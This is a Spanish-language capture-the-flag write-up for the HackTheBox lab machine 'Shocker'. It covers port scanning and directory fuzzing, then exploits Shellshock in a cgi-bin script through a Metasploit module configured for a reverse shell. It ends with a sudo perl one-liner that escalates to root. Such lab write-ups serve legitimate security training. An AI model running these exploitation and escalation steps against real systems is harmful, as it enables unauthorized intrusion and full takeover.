Published
- 3 min read
Shocker - HTB Writeup
Information Gathering
Primero nuestro escaneo de nmap:
> sudo nmap -sS -p- --open -n --min-rate 4000 -Pn 10.10.10.56
[sudo] password for mil4ne:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 12:25 EDT
Nmap scan report for 10.10.10.56
Host is up (0.14s latency).
Not shown: 65465 closed tcp ports (reset), 68 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
2222/tcp open EtherNetIP-1
Escaneo de versiones:
> nmap -p80,2222 -sCV 10.10.10.56
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 12:25 EDT
Nmap scan report for 10.10.10.56 (10.10.10.56)
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeration
Web - Port 80
Esta web no tiene botones ni nada interesante, asi que intentamos hacer fuzzing:
> dirb http://10.10.10.56/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Aug 30 12:26:44 2024
URL_BASE: http://10.10.10.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.56/ ----
+ http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)
+ http://10.10.10.56/index.html (CODE:200|SIZE:137)
Lo unico que podemos encontrar es el cgi-bin
al ver la version de apache tenemos algo interesante que probar:
whatweb http://10.10.10.56/
http://10.10.10.56/ [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.56
Tambien Basandonos en el nombre de la maquina Shocker
.
Shellshock Attack – Pentesting Web
Shellshock es una vulnerabilidad asociada al
CVE-2014-6271
que salió el 24 de septiembre de 2014 y afecta a la shell de LinuxBash
hasta la versión 4.3. Esta vulnerabilidad permite una ejecución arbitraria de comandos.
Bueno te dejo algunos recursos que te podrian servir:
- https://antonyt.com/blog/2020-03-27/exploiting-cgi-scripts-with-shellshock
- https://coderwall.com/p/5db5eg/understanding-the-shellshock-vulnerability
- https://deephacking.tech/shellshock-attack-pentesting-web/
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/cgi
En este Writeup lo explotaremos con Metasploit, pero igual es muy facil explotarlo de forma manual con Burpsuite o utilizando curl
para modificar el User-Agent
.
Explotation
Vas a usar este modulo:
msfconsole
msf6 > use multi/http/apache_mod_cgi_bash_env_exec
set targeturi /cgi-bin/user.sh
set rhosts 10.10.10.56
set lhost tun0
run
Privilege Escalation
La terminal nos sale ‘vacia’ por asi decirlo (No esta Full TTY), asi que la arreglamos con este comando:
En este caso solo haremos el primer comando, ya que no es necesario hacer toda la tty.
script /dev/null -c bash
shelly@Shocker:~$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User shelly may run the following commands on Shocker:
(root) NOPASSWD: /usr/bin/perl
TREMENDO, el binario de perl con permisos SUDO.
https://gtfobins.github.io/gtfobins/perl/#sudo
de una, encontramos como explotarlo:
sudo perl -e 'exec "/bin/sh";'
Y listo ya tenemos una shell como root.